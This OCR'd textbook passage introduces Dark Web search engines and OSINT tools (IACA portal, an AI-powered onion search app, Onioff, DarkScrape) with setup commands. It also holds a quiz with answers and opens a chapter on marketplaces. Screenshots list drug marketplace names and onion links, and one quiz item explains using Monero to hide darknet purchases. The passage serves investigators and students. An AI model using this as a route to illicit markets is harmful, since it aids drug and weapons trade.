curated results, aiming to reduce exposure to illegal or harmful content. Figure 1.6 displays
the home page when searching for a keyword on the TorDex search engine. TorDex serves as
a convenient starting point for exploring the Dark Web, especially for those seeking privacy-
focused alternatives.

Tor66

Tor66 [19] works by routing Internet traffic through a system of volunteer-operated servers,
called nodes, which conceal the user’s origin by encrypting data multiple times. This layered
encryption protects privacy and resists traffic analysis, making Tor popular among journal-
ists, activists, and anyone seeking confidentiality online. Figure 1.7 displays home page and
search option on the Tor66 search engine.
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Tor Node

This search engine is used by researchers, developers, and privacy advocates to monitor the
health, distribution, and behavior of the Tor infrastructure. One well-known example is
Relay Search by the Tor Project, which provides real-time data on relays, bridges, exit nodes,
and their status. Figure 1.8 displays the home page of the Tor Node search engine, unlike
Dark Web search engines that index .onion content, node search engines focus solely on the
infrastructure of Tor

Figure 1.9 displays the search results when searching for a different keyword in the Tor
Node search engine.

Dark Web link

The search engine aims to organize links in categories such as drugs, fraud, security, forums,
and more, making navigation easier for both new and experienced users. While it offers
access to a wide range of sites, users are expected to exercise caution, as the Dark Web often
contains unregulated and potentially harmful content. Figure 1.10 displays the home page
of the Dark Web Link search engine and provides a user-friendly platform where people can
search for hidden services, marketplaces, forums, and other Dark Web content.

Tun"un: Onion Links v  Categories v Add Link  Advertising Tools v  About Contact

Onion Links Directory

THE DARK MARKET

Figure 1.8 Tor Node search engine.

drugs SEARCH

NYMOUS HACKER Cr4PEOSEDrm
I 4
AN 9 NAULAER ® P
ONION LINK DESCRIPTION ONLINE ACTION
pmnesias bl Amnesia - The Amnesic Tor Search Engine 20250717 TEST

gu75bngx2crtwbkry7ad.onion 08:58:39

Figure 1.9 Tor Node search results.

Warning !! Beware of Scams ! Fraudstersare

Figure 1.10 Dark Web search engine.



Introduction to the Dark Web |5

1.5 DARKWEB TOOLS

IACA

This website is an open-access portal developed by the International Anti-Crime Academy
(IACA) in the Netherlands. It serves as a centralized resource hub for individuals and orga-
nizations involved in Dark Web investigations, including cybersecurity professionals, OSINT
analysts, and law enforcement. The platform brings together a variety of tools and directo-
ries, allowing users to search the Dark Web using well-known engines like Ahmia, Torch,
and others. It also categorizes Dark Web content such as marketplaces, forums, social media
platforms, and hidden services, making navigation and research more structured. The site
includes reference materials like dictionaries that explain Dark Web slang and commonly
used terms. Figure 1.11 displays the ‘TACA Dark Web’ on the Tor browser. You can use the
surface web search engines (like Google or Bing) to navigate to this website, but it will lead
to browser switching and time-wastage; in order to skip this, we will be directly running it
in the Tor browser.

Before starting with Dark Web surfing, let us first understand the terms/words that we might
encounter while accessing the Dark Web. Figure 1.12 displays the “Dark Web Dictionary”
Option in the Upper Menu of the Website.

Figure 1.13 illustrates the features provided by the website for Dark Web marketplaces,
Dark Web search, and Dark Web social media.

Starting with Dark Web marketplaces, Figure 1.14 provide a list of marketplaces available
on the Dark Web. Select the Marketplace of your choice from the given list and hit the Visit
button; a new page in a new tab will be opened.

The next option is Dark Web search, which can be done in two ways — Overall Searching
and Search Engine-specific searching. For Overall Searching, enter the query in the top search
field on the webpage and hit the Search button. The search results will load in the new tab of
the browser, as shown in Figure 1.15.

Beyond the surface

Beyond the Surface is an Al-powered Dark Web investigation tool designed to make explor-
ing hidden .onion websites safer and more informative. Users can enter a keyword into the
search bar, which also provides smart word recommendations to guide and refine their search.
Once a query is submitted, the tool returns a list of relevant .onion links, each accompanied
by an Al-generated explanation that summarizes the site’s content. It also includes a visual
snippet or preview of the webpage, allowing users to get a quick overview without directly
visiting the site. This blend of keyword suggestions, intelligent analysis, and content previews

iaca darkweb Q

iac a-dar kweb-tools com
https.//laca-darkweb-tools.com

IACA Dark Web Investigation Support - Provided by Internation...

Welcome to IACA Dark Web Investigation Support This FREE website is provided by International Anti
Crime Academy (IACA) | The Netherlands. IACA is licensed to operate by the Central Register for Short
Vocational School, the Centre for Post Initial Education and the Centre for Post-Bachelor Education.

Figure 1.11 Search for “IACA Dark Web”.



16 Beyond The Invisible Nexus

IACA Dark Web Investigation Support

/ DARKWEB DICTIONARY

DARK WEB DICTIONARY

. Dark Web Dictionary (crick nere for more stang words)

Dark Web Dictionary

Term | Description

I
4-Methylthioamphetamine (4- A Schedule | drug similar to para-Methoxyamphetamine (PMA). It is a serotonin releaser and stimulant, with a primary side effect of hyperthermia.
MTA)

Figure 1.12 Dictionary option.

Dark Web Marketplaces

Find (hidden) marketplaces on the Darkweb

Start Searching > Start Searching > Start Searching >

Figure 1.13 IACA Dark Web features.

makes this is a valuable resource for researchers, investigators, and cybersecurity profession-
als conducting Dark Web monitoring or OSINT activities. Figure 1.16 illustrates the process
of git cloning the repository into the system.

Figure 1.17 displays the list of module dependencies required to run this tool.

Instead of using a Python virtual environment, use apt (Advanced Package Tool), run the
following command to install all the required Python packages in one go “sudo apt install
python3-pillow python3-bs4 python3-requests python3-flask python3-berypt python3-
undetected-chromedriver python3-stem python3-flask-cors” as shown in Figure 1.18.

Figure 1.19 illustrates the command to install Tor as it will be needed to access .onion
websites or to use tools that interact with the Tor network. You need to install the Tor service
on your Linux system. Tor (The Onion Router) is a privacy-focused network that allows
anonymous communication by routing Internet traffic through a series of encrypted relays.
Installing Tor on Linux is straightforward, typically done using the system’s package man-
ager. After successful installation of the Tor service, start it.
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Select your Hyperlink-Marketplaces

420prime

Abacus Market
BitPharma
BrainMagic
CounterfeitFactory
DCDutchconnectionUK
DrChronic

DeDope

EuCanna

NLGrowers

Peoples Drug Store
Smokeables
TomAndJerry

We The North Market

Select your Hyperlink-Marketplaces

’

Figure 1.14 Choose marketplace.

Dark Web Search Application

Press the Search Engine (Logo File) you want to use or enter your keyword and press ‘'search’

Use TOR Project to download the TOR Browser

Enter search
term e

Figure 1.15 Dark Web search for keyword.

E?,[ kali® kali)-[~]

SEARCH!

1196 links found for query "drugs" in 0.32 seconds

20 Drugs
http:i/zgktiwivavwvaqtdybvgvi7tyo4hjlSxgfuvpdféotjiycgwgbym2gad.onioniwikifindex.php/
Main_Page#Drugs

20 Drugs at http://zgktiwiuavvvgqtdybvgvi7tyodhjl5xgfuvpdf6otjiycgwgbym2qad.onionfwiki/
index.php/Main_Page#Drugs

Drugs
hutp:/ly75dbzixy7hip663j32x04dtoikmebxb53jvivakpoBjwppptx3sad.onionfindex.php?
route=productcategory&path=118 119

Drugs

git clone https://github.com/GargSaksham/AI-Powered-DarkWeb-Search.git
Cloning into 'AI-Powered-DarkWeb-Search’ ...
remote: Enumerating objects: 22, done.
remote: Counting cbjects: 100% (22/22), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 22 (delta 1), reused 2@ (delta @), pack-reused @ (from @)
Receiving objects: 1@e% (22/22), 1.23 MiB | 10.0@ KiB/s, done.

Resolving deltas: 100% (1/1), done.

Figure 1.16 Clone repo.

Figure 1.20 displays the Sign Up Page, which stores the data locally on the user’s
machine, creates an account, and enters all the fields, as all of them are mandatory for
Sign Up. Once you have created an account, log in with your email and the password as

depicted in Figure 1.20.
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,_—( kali® kali)-[~/AI-Powered-DarkWeb-Search]
$ cat requirements.txt
undetected-chromedriver >3.5.0

Pillow=9.0.0

beautifulsoups>4.9.3

requests 22.26.0

Flask>2.0.0

Flask-CORS >3.0.10

stem=>1.8.0

bcrypt 23.2.0

Figure 1.17 Requirements.

[:—(kaIiC)kali)~[~/AI-Powered-DarkWeb-Search]

$ sudo apt install python3-pillow python3-bs4 python3-requests python3-flask python3-bcrypt
Note, selecting 'python3-pil' instead of 'python3-pillow’

python3-pil is already the newest version (11.1.0-5+b1).

python3-bs4 is already the newest version (4.13.4-1).

python3-requests is already the newest version (2.32.3+dfsg-5).

python3-flask is already the newest version (3.1.0-2).

python3-bcrypt is already the newest version (4.2.0-2.1+b1l).

Figure 1.18 Requirements install.

E( kali® kali)-[~/AI-Powered-DarkWeb-Search]
$

python3 app.py
Database path: /tmp/userDB.sqlite

. . 2025-07-17 15:41:37,988 - WARNING - Failed to cI
(kali® kali)-[~/Documents/Darkieb_v2] 5055 97-17 15:41:37,988 - ERROR - Version detec

$ sudo systemctl start tor 2025-07-17 15:41:37,993 - INFO - Starting Dark \
[sudo] password for kali: * Serving Flask app ‘app'

Figure 1.19 StartTor service.

Join The Network

& Saksham Garg

R, 1234567809 ¥ demol2@gmail.com

Activate Identity i

ticate #)

Figure 1.20 Sign Up for secure access.
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Search Results 11 results in 144.98s

Active Sites (10)
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qfx1simqq6pgeqggh27k1lrqd.. | Vie
Q weapons

‘ws"rc“

Figure 1.2 Search bar results.

Site Details

http://zcz 5yxJ Lpc awnpbgfx1si gh27k11lrqd.onion/product - tag

Site Snapshot AI Analysis

Figure 1.22 View details.

The web application starts the search for a particular keyword and displays a list of active
and inactive links. Copy the link using the “copy” button and paste it into the Tor browser.
Clicking on view details, the user will get the corresponding website’s snippet along with its
Al analysis, provided the user has the AT API key of any particular LLM. Figure 1.21 displays
the Search bar present on the webpage, in which the user has to enter the query, and the
search results corresponding to the keyword entered.

For Al analysis, the user must be equipped with an authentication key so that Al can
respond; for that, the user needs to make changes in the link_details.py file, as displayed in
Figure 1.22.

Onioff

Onioff is an open-source tool used for verifying the availability and status of .onion links on
the Dark Web. Designed for investigators, researchers, and cybersecurity professionals, the
tool checks whether Tor hidden services are online or offline in real time. It automates the
process of testing multiple .onion URLs, helping users filter out inactive or unreachable sites.
Onioff is often used in Dark Web monitoring workflows to maintain up-to-date link lists
and avoid dead or misleading pages. The tool operates through the Tor network and can be
integrated into larger OSINT or cybersecurity toolsets for efficient Dark Web reconnaissance.
Figure 1.23 displays the cloning process of the onioff git repo into the system.

Start the Tor service to overcome the TOR connection error, as displayed in Figure 1.24
and navigate to the onioff folder using the “cd” command, execute the onioff.py file, and pass
the onion URL.

If the link is active, it will show ACTIVE; else INACTIVE, as shown in Figure 1.25.

To check the reports and logs, navigate to the reports folder and list all files. Then select
the file with the appropriate date and time as shown in Figure 1.26.
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E(ka’li@kali)—['v]

$ git clone https://github.com/k&m4/onioff.git

Cloning into 'onioff' ...

remote: Enumerating objects: 278, done.

remote: Total 278 (delta @), reused 0 (delta 0), pack-reused 278 (from 1)
Receiving objects: 100% (278/278), 59.80 KiB | 102.00 KiB/s, done.
Resolving deltas: 100% (160/160), done.

Figure 1.23 Cloning git repo.

E(kah@ lkali)-[~/onioff] (kali® kali)-[~]
$ sudo systemctl start tor [:; cd onioff
[sudo] password for kali:

L—( kali® kali)-[~/onioff]
$ python3 onioff.py http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2eSmxiuh34iid.onion/fresh

Figure 1.24 Start TOR service.

[+] Commencing onion inspection
[+] Tor running normally

[0] http://tor66sewebgixwhcgfnp5inzpsxsuohhdy3kvtnyfxc2esmxiuh3saiid.onion/fresh (ACTIVE) = 'Tor66 - New (fresh) .ONION websites found on :: (darknet)/{darkweb}’
[!] Onion inspection successfully complete

[!] Inspection report saved as —

Comp/tional time elapsed: 0.234530195

Figure 1.25 Link active or inactive results.

L—( kali® kali)-[~/onioff]
$ cd reports

[:—(kaliC)kali)7[~/onioff/reports]
$ 1s
onioff_2025-07-17_19:06:35.txt readme.md

cat onioff_2025-07-17_19:06:35.txt
http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2eSmxiuh34iid.onion/fresh - Tor66 - New (fresh)

[:;(kallC)kall) [~/onioff/reports]

Figure 1.26 Reports.

L$ git clone https://github.com/itsmehacker/DarkScrape.git

Cloning into 'DarkScrape’ ...

remote: Enumerating objects: 214, done.

remote: Counting objects: 100% (13/13), done.

remote: Compressing objects: 100% (13/13), done.

remote: Total 214 (delta 6), reused 1 (delta @), pack-reused 201 (from 1)
Receiving objects: 100% (214/214), 60.83 KiB | 119.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.

Figure 1.27 Cloning DarkScrape repo.

DarkScrape

DarkScrape is an automated OSINT tool used to download media or images from the Tor,
consisting of sites that are Deep Web Sites. The DarkScrape tool is developed in the Python
language. This tool is available on GitHub, open-source, and free to use. The user needs to
only specify the link of the website through which they need to collect media data. Figure
1.27 displays the cloning process of the repository into the system.

Some packages may create problems while installing using “apt”; for these, create a Python
virtual environment and install modules using pip, as shown in Figure 1.28.
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L—( kali® kali)-[~/DarkScrape]
$ python3 -m venv venv

L—(kali@ Ikali)-[~/DarkScrape]
$

source venv/bin/activate

E( venv)—(kali® kali)-[~/DarkScrape]
$ 1s
darkscrape.py LICENSE Media modules README.md requirements.txt venv version.txt

Figure 1.28 Activate virtual environment.

[:—(venv)—(kaIiQBkali)-[~/DarkScrape]
$ pip install -r requirements.txt
Collecting xlrd (from -r requirements.txt (line 1))
Using cached xlrd-2.0.2-py2.py3-none-any.whl.metadata (3.5 kB)
Collecting requests (from -r requirements.txt (line 2))

[:—(venv)—(kaliGEkali)—[~/DarkScrape]
$ python3 darkscrape.py -h
/home/kali/DarkScrape/venv/1lib/python3.13/sift
s slated for removal as early as 2025-11-30.
from pkg_resources import resource_filename

Figure 1.29 Install requirements & run.

+] Connected to Tor...
+] Your Tor IP — 109.70.100.68

e

[+] Choose the File Format:-
[1] Scrape From File
[2] Scrape From Single URL

[+] Enter Option No. — 2

[+] Please Enter URL — http://iy3544gmoeclhSde6gez2256v6pjh4iomhpgdh2wpeeppjtvgmjhkfwad.onion/torgle/?query=drugs&thumbs=on
[>] logo.jpg

[>] ads_banner/images/5n4lhyjrvkllgffjusSbrgsxxsbg6jlarghhdzayujgbzujewsg5liid.onion(468x60).png

[>] ads_banner/images/5n4lhyjrvkllgffjusSbrgsxxsbgéj3arghhdzayujgbzujewsg5liid.onion(468x60).png

[>] ads_banner/images/5n4lhyjrvkllgffjus5brgsxx4bg6j3arghhdzayujgbzujewsg5liid.onion(468%60).png

[>] ads_banner/images/Sn4lhyjrvkllgffjusSbrqsxx4bg6j3arghhdzayujgbzujewsg5liid.onion(468%60).png

[+] Download Media (y/n) = n

[

—

Exiting...

Figure 1.30 DarkScrape results.

Then install the requirements specified in requirements.txt using the pip command as
shown in Figure 1.29 and run the darkscrape.py file to crawl the onion links

DarkScrape comes with two functions: to scrape from a file or scrape a single URL. Press 1
to scrape from a file and enter the file path, or Press 2 to scrape a single onion link and paste
the onion link to crawl. To save the findings in a file, Press “y,” else type “n” on the keyboard
as shown in Figure 1.30.

1.6 CONCLUSION

The Dark Web, often misunderstood and sensationalized, is a multifaceted ecosystem that
challenges conventional understandings of the Internet, privacy, and governance. This chap-
ter has provided a comprehensive overview of its foundational technologies, including onion
routing, pseudonymity, cryptographic protocols, and decentralized infrastructures. Far from
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being merely a criminal underworld, the Dark Web is also a lifeline for those seeking protec-
tion from censorship, surveillance, and political persecution. Through real-world examples
from whistleblower platforms like SecureDrop to encrypted communication tools used in
totalitarian regimes, this chapter underscores the importance of anonymity and secure access
in safeguarding civil liberties.

At the same time, the Dark Web presents significant risks. The emergence of criminal
marketplaces, Al-driven automation for cyberattacks, and data-leaks-as-a-service platforms
reveals how malicious actors exploit the same technologies used for good. The increasing
sophistication of these ecosystems, combined with the integration of cryptocurrencies, zero-
knowledge proofs, and quantum-resistant encryption, calls for equally advanced legal and
technical responses. Efforts by global law enforcement to infiltrate and dismantle such net-
works show both the progress and limitations of traditional policing in digital anonymity
landscapes. As technological boundaries blur between the Surface Web, Deep Web, and Dark
Web, a more nuanced understanding of the ethical, legal, and technical aspects is essential.
Future innovations, especially in Al, IoT, and decentralized identity, are likely to further com-
plicate this domain. The chapter concludes that the Dark Web is not a singular, static entity,
but an evolving digital frontier. Its study is critical for anyone concerned with cybersecurity,
digital rights, and the future of Internet governance.

MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. During a wave of censorship in an authoritarian country, a group of university students
plans to organize peaceful protests. They need to share digital flyers and coordinate
with journalists abroad without being tracked. They decide to use a hidden service
accessed through a privacy-focused browser. The tool they rely on obfuscates their
IP and uses volunteer-run nodes to encrypt traffic in layers. Which technology are the
students most likely using to achieve this?

a. Virtual Private Network (VPN
b. Proxy Server

c. The Onion Router (Tor)

d. Standard HTTP with encryption

Correct Answer: c¢). The Onion Router (Tor)

Reason: Tor employs onion routing, which is a multi-layered encryption through volun-
teer nodes to ensure anonymity, ideal for activists operating under oppressive regimes.
Unlike VPN or proxies, Tor doesn’t rely on centralized infrastructure.

2. A cybersecurity researcher examines how a Dark Web marketplace continues to oper-
ate after several takedowns. They discover that the platform no longer depends on a
central server and instead distributes its content across a peer-to-peer protocol that
stores fragments on multiple nodes. This makes the site resistant to shutdowns. Which
technology is most likely being used in this distributed setup?

a. DNS over HTTPS

b. InterPlanetary File System (IPFS)
c. ZeroNet

d. Blockchain DNS

Correct Answer: b). InterPlanetary File System (IPFS)
Reason: IPFS enables decentralized content hosting by distributing data across nodes.

This design helps sites remain online even if specific nodes go down, ideal for resilient
Dark Web services.
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3. A buyer on a darknet marketplace wants to purchase an item while maximizing their
financial privacy. They are aware that Bitcoin’s ledger is publicly traceable and that
several arrests have been made through blockchain forensics. Instead, they opt for a
cryptocurrency that uses ring signatures and stealth addresses to hide transaction his-
tory. Which cryptocurrency are they likely to choose?

a. Bitcoin

b. Ethereum
c. Monero
d. Dogecoin

Correct Answer: c¢). Monero

Reason: Monero is specifically designed for privacy, using ring signatures and stealth
addresses to obscure transaction details, unlike Bitcoin, which is traceable via public
ledgers.

4. A whistleblower working at a multinational corporation wants to leak unethical inter-
nal communications to a media outlet without revealing their identity. They need a
secure method for sending files anonymously and wish to avoid metadata exposure.
Which platform best suits their need for encrypted, anonymous file sharing?

a. Dropbox

b. SecureDrop

c. Microsoft OneDrive
d. Signal Messenger

Correct Answer: b). SecureDrop

Reason: SecureDrop operates on Tor and allows journalists to receive documents anon-
ymously. Unlike commercial services, it doesn’t track metadata and ensures high levels
of source anonymity.

5. After the AlphaBay takedown, a security analyst observes new marketplaces using
decentralized domain resolution and encrypted hosting. One such site has no fixed IP
and uses blockchain-based names to operate. Which domain management system are
they likely using?

a. Cloudflare DNS

b. DNSSEC
c. Ethereum Name Service (ENS)
d. DynDNS

Correct Answer: c). Ethereum Name Service (ENS)

Reason: ENS provides decentralized domain resolution on Ethereum’s blockchain,
often used in new-generation Dark Web services for resilience against censorship and
takedown.

6. A journalist accesses .onion websites to conduct research on government surveillance.
To avoid any risk of deanonymization, they disable all scripts and use a bootable OS
from a USB that leaves no traces on the host system. Which setup are they most likely
using?

a. Ubuntu with Chrome

b. Windows with a VPN

c. Tails OS with Tor

d. Android with incognito mode

Correct Answer: c¢). Tails OS with Tor
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10.

Reason: Tails is a privacy-focused OS that runs from a USB and erases all traces after
use. Combined with Tor, it offers strong protection against tracking and surveillance.

An undergraduate student tries to search the Dark Web using Google but fails to find
any .onion results. A peer advises using a specialized engine within Tor, which indexes
such hidden services based on voluntary submissions. Which search engine are they
most likely to use next?

a. DuckDuckGo

b. Bing
c. Ahmia
d. Baidu

Correct Answer: ¢). Ahmia

Reason: Ahmia is a Dark Web search engine built specifically for .onion sites and oper-
ates through the Tor network. It offers a clean interface and avoids indexing unsafe or
illegal content.

. An activist wants to discuss protest strategies with international partners. They require

a messaging app that doesn’t rely on central servers and prevents metadata leakage even
if nodes are compromised. Which platform is best suited for this requirement?

a. WhatsApp
b. Ricochet
c. Telegram
d. Slack

Correct Answer: b). Ricochet
Reason: Ricochet uses Tor for anonymous messaging and doesn’t expose metadata,
unlike centralized apps like WhatsApp or Telegram, which retain logs and contact lists.

Law enforcement takes control of a Dark Web market instead of shutting it down
immediately. Over weeks, they gather intelligence on users and vendors without their
knowledge. What ethical dilemma does this operation raise?

a. Intellectual property theft

b. The use of malware on public networks

c. Government overreach through undisclosed surveillance

d. Censorship of free expression

Correct Answer: ¢). Government overreach through undisclosed surveillance
Reason: Covertly operating a market to log user activity raises ethical issues regarding
privacy and transparency, even when the goal is to fight cybercrime.

A team of digital forensics students are building a list of active .onion sites for a research
project. They want to verify whether each link is currently reachable without manually
testing them in the browser. Which tool should they use?

a. Nmap
b. Onioff
c. Shodan

d. Wireshark

Correct Answer: b). Onioff

Reason: Onioff is designed to test .onion URLs for live status, helping researchers avoid
dead or inactive links. Other tools like Nmap or Wireshark serve different purposes
(port scanning or packet sniffing).
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Chapter 2
Dark Web Marketplaces

2.1 INTRODUCTION

In the sprawling ecosystem of the Internet, often invisible to conventional search engines and
public indexing algorithms, lies a digital realm cloaked in encryption, pseudonymity, and
misdirection. This obscure territory, widely referred to as the “Dark Web,” is not a singular
platform but a layered and segregated environment operating beneath the surface of the con-
ventional, everyday web. At the core of this shadowy landscape exists a phenomenon that has
revolutionized modern cybercrime economies and the trade of illicit commodities: Dark Web
Marketplaces. These platforms, complex in design yet disturbingly efficient, have emerged as
decentralized trading posts where anonymity is both a shield and a currency. They are the
21st-century reincarnation of traditional black markets, reimagined through cryptographic
infrastructure and peer-to-peer protocols.

To grasp the functional and sociotechnical underpinnings of these marketplaces, one must
venture beyond surface-level definitions and delve into the ethos, architecture, and economic
dynamics that fuel their resilience and evolution. These marketplaces are not rudimentary
digital bazaars for criminal activities. Rather, they represent a convergence of multiple para-
digms: trustless trade mechanisms, cryptographic identities, decentralized dispute resolution,
and innovative escrow systems. The dark web marketplace is a sociotechnical artifact, a
node where cyber-anarchism, libertarian economics, cybercrime, and digital privacy advo-
cacy often intersect, and at times, contradict one another. Their operations, while deeply
enshrouded in illegality, often mimic and even exceed the operational robustness of legitimate
e-commerce platforms, offering search capabilities, customer support, vendor ratings, and
even loyalty programs, all built upon anonymized networks like Tor or I12P.

The roots of modern dark web marketplaces can be traced to ideological aspirations as
much as criminal enterprise. The early success of Silk Road [1], launched in 2011, exemplified
this synthesis of libertarian ideals with black-market functionality. Built upon the Tor ano-
nymity network and integrated with Bitcoin payments, Silk Road was not just a drug mar-
ket; it was a philosophical manifesto in digital form. Its founder, known by the pseudonym
“Dread Pirate Roberts” [2], championed radical freedom, voluntary association, and nonvio-
lent exchange, fostering a utopian community wherein government oversight and coercive
law were replaced by algorithmic consensus and peer governance. Though the original Silk
Road was eventually dismantled by law enforcement, its blueprint seeded a proliferation of
successors, many of which abandoned ideological pretensions in favor of sheer profitability.

Technologically, the infrastructure of these marketplaces is a fascinating subject in its own
right. Most operate as hidden services on the Tor network, making use of .onion domains
that are only accessible through specialized browsers. These services encapsulate multiple
layers of encryption, making traffic analysis and IP tracing exceedingly difficult, if not com-
putationally impractical. Communication between vendors, customers, and administrators is
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often layered with PGP encryption, creating a secondary shell of security beyond the network
level. Payment infrastructures are no less sophisticated, increasingly moving away from trace-
able cryptocurrencies like Bitcoin to privacy-centric alternatives such as Monero or Zcash.
Escrow systems, often smart-contract-based or multi-signature wallets, further ensure trans-
actional integrity in a setting devoid of legal enforcement mechanisms.

Economically, the scale and diversity of offerings on these marketplaces rival that of legiti-
mate digital platforms. While drugs remain the most prevalent category, ranging from canna-
bis and opioids to synthetic nootropics and psychedelics, these platforms are equally replete
with other commodities that defy legal boundaries. Counterfeit documents, stolen financial
data, malware kits, ransomware-as-a-service subscriptions, exploit databases, cloned credit
cards, firearms, and even contract killing services have been observed on various platforms,
though the veracity of some listings remains questionable. The fluidity of these marketplaces
reflects not only the dynamic nature of illicit demand but also the adaptability of cybercrimi-
nal economies in response to law enforcement pressures and technological disruptions.

Trust, a seemingly paradoxical construct in an inherently untrustworthy environment, is
the linchpin that sustains the operational continuity of these marketplaces. In the absence
of legal recourse, mechanisms for trust-building have evolved with remarkable ingenuity.
Reputation systems, buyer and vendor feedback, digital signatures, and escrow intermediar-
ies collectively constitute a framework that incentivizes honest behavior within a lawless
ecosystem. Some marketplaces go even further, implementing mechanisms of decentralized
arbitration, where third-party moderators resolve disputes and allocate funds based on cryp-
tographic evidence rather than legal statutes. In many ways, these systems emulate institu-
tional functions without requiring institutional authority, revealing the potential and the
peril of algorithmically mediated governance.

However, the allure and efficacy of these systems are not immune to systemic vulnerabili-
ties. Exit scams, where marketplace administrators abscond with user funds, are a recurring
risk. Operational security lapses, both by users and administrators, can expose identities,
compromise entire networks, or lead to shutdowns orchestrated by international cybercrime
task forces. Moreover, the threat of infiltration by undercover law enforcement agents is ever-
present. Several prominent busts, including the takedowns of AlphaBay and Hansa, were
facilitated by digital subterfuge and operational overconfidence. These operations not only
exposed the fragility of perceived anonymity but also demonstrated the adaptability of law
enforcement agencies in adopting cyber techniques once exclusive to criminal actors.

An additional layer of complexity arises from the geopolitical dimension of dark web
marketplaces. These platforms often cater to a transnational clientele, yet the enforcement
of cybercrime laws remains uneven and fragmented across jurisdictions. A vendor operating
from a country with weak cybercrime enforcement may face negligible risk, while a buyer
in a nation with strict internet surveillance may incur severe consequences. This asymmetry
creates a distorted risk landscape that influences both the structure and accessibility of these
markets. Moreover, the implications of these dynamics extend into broader domains such as
digital sovereignty, national security, and transnational law, challenging the efficacy of state-
based models of cyber governance.

Furthermore, the evolution of dark web marketplaces cannot be fully understood without
addressing the sociological and psychological dimensions of their users. For many, participa-
tion in these marketplaces is not merely an economic act but a form of ideological resistance,
self-expression, or community affiliation. Some vendors construct intricate pseudonymous
identities, complete with marketing campaigns and customer engagement strategies, treat-
ing their criminal enterprise with the same professionalism as a legitimate business. Others
view their participation as a necessary evil, driven by economic desperation, lack of oppor-
tunities, or sociopolitical disillusionment. These human factors render the ecosystem deeply
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heterogeneous, composed of actors whose motivations span the spectrum from ideology to
pragmatism, from opportunism to survivalism.

On a broader scale, the persistence of dark web marketplaces raises fundamental ques-
tions about the architecture of the internet itself. Should anonymity be treated as a right or
a threat? Can privacy-preserving technologies coexist with law enforcement imperatives?
What are the ethical boundaries of decentralized infrastructures, and who, if anyone, should
be responsible for regulating them? These are not merely technical questions but philosophi-
cal dilemmas that cut to the heart of contemporary digital society. The existence of these
marketplaces forces policymakers, technologists, and ethicists alike to confront the limits of
surveillance, the resilience of criminal innovation, and the fragility of digital trust.

In addition, the proliferation of Al, blockchain, and quantum technologies portends a
new generation of dark web marketplaces with enhanced resilience and even more sophis-
ticated obfuscation mechanisms. Autonomous vendors powered by Al bots, decentralized
marketplace protocols operating on blockchain infrastructure, and cryptographic schemes
impervious to quantum decryption are no longer the stuff of science fiction. They represent
the next evolutionary phase in an arms race between privacy and surveillance, autonomy and
regulation, decentralization and control. These future developments may render traditional
investigative methods obsolete, necessitating an entirely new epistemology of cyber forensics
and digital criminology.

Amidst this labyrinthine terrain, researchers and analysts face significant methodological
challenges. Data collection from these marketplaces is fraught with ethical dilemmas and
legal risks. Scraping marketplaces, analyzing transactional data, and interacting with users
may offer valuable insights, but they also risk inadvertently supporting or legitimizing crimi-
nal economies. Moreover, the ephemeral nature of these platforms, routinely taken down,
cloned, rebranded, or voluntarily shut down, complicates longitudinal studies and repro-
ducibility. Despite these obstacles, a growing body of interdisciplinary research has begun
to illuminate the contours of this ecosystem, drawing from fields as diverse as criminology,
computer science, political theory, and behavioral economics.

The introduction of machine learning and advanced data analytics into the study of
dark web marketplaces has opened new avenues for detection, mapping, and intervention.
Clustering techniques can uncover vendor networks; NLP can identify patterns in user reviews;
and anomaly detection algorithms can flag unusual transaction flows. When combined with
blockchain analysis, these techniques offer a powerful toolkit for dissecting illicit economies
at scale. Yet, the deployment of such technologies also raises ethical concerns. The potential
for false positives, misidentification, or overreach is significant, particularly in an environment
where pseudonymity is a necessity for both criminal and non-criminal users alike.

It is essential to understand that dark web marketplaces are not static entities but adaptive
systems. Their lifecycle is characterized by cycles of emergence, growth, saturation, collapse,
and reemergence. Each shutdown gives rise to clones or forks, and each disruption spawns
innovation. This cyclical resilience is not merely a reflection of technological robustness but
also of cultural and economic demand. As long as there exists a market for illicit goods and
a desire for digital privacy, these platforms are likely to persist in one form or another. In this
light, attempts to permanently dismantle them may be as futile as trying to eliminate demand
for vice itself. The existence and evolution of dark web marketplaces force a confronta-
tion with the contradictions at the heart of our digital age. They are symptomatic of deeper
structural tensions between liberty and security, between anonymity and accountability, and
between centralization and decentralization. These tensions are not easily resolved, nor can
they be addressed through mere technical interventions. Rather, they demand a nuanced and
holistic understanding of the technological, economic, sociopolitical, and ethical dimensions
that constitute the terrain of digital clandestinity. This chapter, and indeed this book, seeks to
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contribute to such an understanding by dissecting the anatomy, dynamics, and implications
of dark web marketplaces in their full complexity.

2.2 HISTORICAL ADVENT

The genesis of online black markets long predates the sleek, encrypted platforms we associ-
ate with the modern dark web. In the earliest days of the internet, long before the prolifera-
tion of mainstream digital anonymity tools, illicit commerce already had a digital footprint.
Throughout the late 1990s and early 2000s, cybercriminals and traffickers gravitated toward
relatively open, yet obscure, digital gathering points such as Internet Relay Chat (IRC) chan-
nels, peer-to-peer file-sharing systems, and closed-entry online forums. These rudimentary
systems laid the groundwork for a parallel economy, an embryonic version of what would
evolve into the darknet marketplace ecosystem. However, these early digital trading environ-
ments were constrained by several intrinsic limitations. Primarily, they lacked both security
and systemic anonymity. Transactions were often negotiated directly between parties who
had to rely heavily on mutual trust, as neither encryption nor identity masking was standard.
This environment not only stifled the scalability of criminal trade but also exposed users to
significant personal and legal risk. Nonetheless, this era offered a crucial proof-of-concept:
that the internet could function as a viable infrastructure for illicit exchange. The system only
needed technological innovation to blossom fully.

The paradigm shift occurred with the advent and public dissemination of The Onion
Router (Tor) in 2002. Originally developed as a U.S. Naval Research Laboratory project
for secure government communications, Tor was later open-sourced and became accessi-
ble to the public. Its release marked a pivotal moment in the digital history of clandestine
commerce. Tor’s ability to anonymize online activity through onion routing, whereby data
passes through multiple volunteer-run nodes, concealing both the sender’s and recipient’s
IP addresses, enabled users to access hidden services without revealing their geographic or
digital identities. This new layer of obfuscation transformed how actors in the online under-
ground could operate, offering the possibility of engaging in activities beyond the reach of
traditional surveillance and jurisdiction.

While Tor addressed the anonymity of identity and location, the question of payment
mechanisms remained unresolved for several years. The digital underworld needed a finan-
cial system that allowed transactions without exposing either party to traceability. The
